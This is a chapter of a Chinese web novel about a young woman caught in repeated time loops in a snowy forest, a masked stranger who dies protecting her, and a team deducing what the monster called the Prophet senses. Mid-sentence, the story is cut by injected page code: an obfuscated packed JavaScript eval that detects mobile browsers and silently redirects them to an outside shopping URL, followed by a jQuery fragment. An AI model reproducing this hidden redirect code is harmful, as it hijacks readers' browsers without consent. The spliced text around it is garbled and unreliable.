文趣网 > 其他小说 > 神明终有一死 > 7. 双城记
    之后发生的事游叙不想再回忆了。

    他们这五个人的确如卡津布狄斯所言,纯粹就是给先知送菜,前后不超过五分钟已经不剩任何活口。游叙再睁开眼的时候,心里只余疲惫。

    没有人能在那种存在面前生存下来,先知无愧它“X”的评级。

    她已经做好了准备再说服一次几人,但……

    这里不是安全屋。

    是三岔路口!

    她误入异常物攻击范围时,反复迷路无法走出的那个三岔路!

    雪还在纷纷扬扬的下着,无声落在山林、道路,还有她的身上,像一场沉默的雨。她用力揉了下眼睛,一切都没有改变,还是熟悉的山、路,以及雪。

    拿出手机,现在是六点四十五分。

    是她迷路之后、遇到π之前的时间。

    为什么回溯锚点时间突然变了?是卡津布狄斯的天赋出了问题,还是另有原因?

    游叙紧紧握着手机,站在原地踌躇。

    是在这里等着π来,还是主动去找他?万一和他错过怎么办?

    她在原地踱来踱去,时不时抬头看向远方,但等了很久,还是什么也没有。没有在风雪中滑来的小机械人,也没有先知。

    时间渐渐走到七点。

    这已经远远超出上次会面的时间了。山林依旧静寂,风从枝丛间呼啸而过,大雪纷纷扬扬,把她的手冻得通红。在她不知道第几次望向路口时,忽然路旁一棵大树轰然倾折,将她砸倒在雪地中。

    窒闷、疼痛、寒冷同时袭来,游叙挣扎了一下,恍惚间似乎看到一双靴子。

    但还没等她彻底看清,就失去了意识。

    第三次回溯结束。

    。

    游叙再一次睁开眼睛。

    依然是三岔路口,山林,雪。她拿出手机,依旧是熟悉的六点四十五。

    她彻底糊涂了。

    卡津布狄斯的回溯机制到底是怎么运作的,她为什么又出现在这了?这个时间点有什么特殊的么?

    上次失去意识之前她看到的到底是谁?

    不是ARC小队中的任何一位成员,游叙记得很清楚,没有人穿那样款式的靴子。

    立刻有一个猜想跳入脑中。

    ……是那个神秘人。

    伪装成出租车司机在墓园门口等她,又到她家楼下,还给她发短信的那个神秘人!

    他到底是谁?他想干什么?

    杀死她吗,那棵大树折断是他搞的?还是说她的迷路也有他的一份?先知和他有没有关系?纷繁思绪搅得她头晕。游叙站在三岔路□□汇之地,深深吸了口气。

    既然他跟着她过来了,那想必游繁书和小姨就没有危险,他果然是冲她来的。

    接下来该怎么办,去找π,还是在原地等着,看看究竟会发生什么事?

    游叙目光缓缓落在一边的树上。

    她记得上一次在这棵树压倒她之后,神秘人出现了。

    也许她可以……

    游叙围着树转了一圈,明白了它会倒下的原因。它的树干有半边空了,大概是遭了什么虫害,所以大雪一压,它就无可避免地倒了下来。

    她仰起头,环视四周。

    没有任何其他人存在的迹象,但她知道,那个人就在不远不近的地方观察着她。也许他还带了什么武器,时刻准备着上来给她一下。

    但……

    游叙站在树下。

    她要把这些事搞清楚。

    随着大雪持续不断地落下,身旁树干正在极细微的摇晃,直到它再也承受不住大雪的重量,再一次咔嚓折断!

    在极其刺耳的吱呀声中,游叙趴倒在地。

    漫天腾起雾一样的雪沫,会把所有投向这里的注视遮蔽。游叙面朝下趴在雪中,脸颊和鼻子很快冻得僵木。她仔细听着传进耳边的一切动静,一开始还是树枝犹在震颤的嗡嗡声,后来那声音渐渐低下去,只剩下雪落下的簌簌声,再之后,又有一种不同于之前两种任何一种的第三种声音,出现了。

    是雪被踩实之后的咯吱声。

    那声音越来越近、越来越慢,最后停在游叙身边。

    她一动不动。

    那个人站了好一会。

    游叙不知道他在干什么,可能是在评估她到底死没死?但这时间未免也太长了些,她的手马上就要没知觉了……

    那个人蹲了下来。

    拂去她头发上的雪。

    游叙呼吸都要停止了。

    这是什么意思?对一个死人的临终关怀?……她之前似乎也吐槽短信是临终关怀来着,这人不会是哪个医院跑出来的吧?

    她正在思考是不是要猛地站起来吓他一跳,但考虑到这种行为可能比他更像是从精神病院里出来的,最终没有采纳。她决定了,她要趁着他把她翻过来的时候,猛地睁开眼睛,电影里不都是这么演的吗,一切尘埃落定之时,主角查看反派情况,这时一阵或激昂或紧张的音乐响起……

    第四种声音出现了。

    沉重、拖沓,伴随着物品撞击时零零碎碎的闷响。

    游叙霍然瞪大眼睛。

    这是……

    神秘人似乎也察觉到了危险的来临,骤然收回手,站起身。游叙听到咔嚓一声脆响,她拒绝思考那到底是什么。她努力活动了一下僵木的手指,撑着雪地起身,雪扑簌簌从身上掉下去,鼻子终于恢复了一点知觉。

    她闻到了熟悉的松枝气味。

    有人站在她身前。

    那人听见动静,回过身来看了她一眼,果然是之前的神秘人,只不过他仍然戴着帽子和口罩,看不清脸,只有一双眼睛露在外面,黑色的,眼窝还挺深。

    游叙看到他眼睛稍微睁大了一点。

    “你是谁?”游叙盯着他,“你到底想做什么?”

    那人没有回答。

    他转回身去,手中拿着一把枪,刚才那咔嚓声果然不是错觉。游叙跟随他的目光望去,在道路中央,缓缓露出庞然大物的影子。

    是先知。

    神秘人立刻举起枪,警觉地对准牠。游叙心脏一颤,一把抓住他的手臂。

    神秘人垂眸看她。

    游叙竖起一根手指,抵在下唇上。

    “走。”

    她用口型说。

    本来以为神秘人会无视她的话,可他的反应却堪称温驯。他慢慢放下枪,后退几步,竟然是个真的要走的样子!

    游叙眨了眨眼。

    她还以为……他们的沟通会更困难一点。

    两人不发一语地缓缓退后,直到一点点远离先知。游叙始终保持自己能看到神秘人一侧背后的位置,同时还分出了一部分注意力盯着先知,可谓是忙得不得了。眼看即将看不见先知的身躯了,她心里忍不住微微激动起来。

    这招有效!

    那下一步就是找到卡津布狄斯她们,想办法把她们也用这个办法带……

    “噗嗤。”

    ……出去。

    一捧血溅在游叙脸上。

    她呆呆地眨了下眼睛,一小滴血珠从睫毛上垂落,掉在雪地上。

    神秘人颤抖着,正在很用力地喘气。一截松枝从他背后透出来,沾满了血,游叙看到它正在缓缓抽出去……神秘人幅度很大地晃了一下。

    是哪里出了问题?先知为什么会突然攻击?他们分明什么声音也没有……

    啊,原来是这样。

    对声音敏感不代表对别的不敏感。

    一定有什么其他的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633044|206466||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    机制,她还没有发现的……

    会是什么?

    最后一刻,游叙看到神秘人回过头。

    他像是在看她,又像是在穿过她,看到遥远的某个地方。然后他摇晃两下,扑倒在地。

    他死了。

    在漫天飞扬的风雪里,游叙看到那截松枝递到她面前。

    那一瞬间她什么感觉都没有,只是很困惑。

    关于回溯,关于时间,关于先知,关于……

    ……神秘人。

    第四次回溯,结束了。

    。

    “任务不难,大概一个小时就会回来,你就留在安全屋里,等任务结束立刻就带你下山……”

    又是熟悉的安全屋。

    熟悉的π。

    游叙已经没有力气再搞懂这个回溯机制了。她冲出屋门,一把拉住即将走出门的卡津布狄斯。

    “你在我身上种了锚点,这是第五次回溯了!”她大声说,“你听我说,外面那个是先知,不是黑导游,非常危险!”

    卡津布狄斯脸上的惊愕之色一闪而过。

    “回溯?”她摸了一下游叙的额头,“还真是……你都遇到了什么?说说。”

    游叙将自己经历的事一五一十说了,提到神秘人的时候她犹豫几秒,最后还是没提之前的事,只说遇到了一个奇怪的人。

    “唔,原来如此。”卡津布狄斯摸了摸下巴,没有追问神秘人的事,“先知对声音很敏感,但不只是声音,还有其他机制……好,我明白了。”

    她转身看向其他三人,“来,咱们先商量一下。”

    卜阳刚才就想开口,现在更是按捺不住,率先发言,“根据先知的本源向导可以推算,牠一定有某些地形或者位置上的能力,所以我猜牠能判断出移动的物体并进行攻击。卫,你觉得呢?”

    卫摇摇头。

    “不。”她说,“当时游叙没有动。”

    卜阳张了张嘴。

    “啊,确实。”他说,“那是因为什么呢?气味?温度?颜色?总不能是灵魂吧?”

    “不会是颜色,如果是颜色,先知为什么不攻击树木?”π的屏幕滑过一串,“如果是气味的话也是一样的,松树的味道比游叙大多了!我觉得是温度!”

    “可植物和人类毕竟还是不一样吧?”卜阳提出疑问,“万一是肉味吸引了牠呢?”

    “呃,你说得好恶心-^-”π说,“那我身上也没有肉味啊,为什么先知也攻击我?我可是硅基生命!”

    “这倒也是。”卜阳看看π,表示认同,“谁也不会把你这个小铁疙瘩块判断成人类,想必先知也不能……”

    “喂!”

    π屏幕上弹出一个巨大的愤怒符号,触肢挥舞着要去打他,“怪不得你评不上职称!你这个小气又嘴贱的可恶混血!”

    “别打我平板,要裂了!啊!π!”

    在一片混乱的背景中,卫郑重点头。

    “是温度。”她说。

    她将目光转向卡津布狄斯。

    卡津布狄斯不知道在想什么,似乎有点走神,直到那边两个人也停下动作,院子完全陷入安静才反应过来,“……哦,你们讨论出结果了?是温度吗?”

    “我认为是这样。”π滑到卡津布狄斯面前,屏幕上弹出一个像素小人的担忧表情,“队长,你怎么了?身体不舒服吗TAT”

    卡津布狄斯摸了摸π的触肢。

    “这个结论必须要先验证一下。”她说,“卫,我记得车里后备箱里有一卷绳子,你去拿出来,卜阳,你从油箱里弄出点油来,π,你去观察一下地形,看看怎么放绳子更好。还有你。”

    她看向游叙。

    语气低沉。

    “你跟我来。”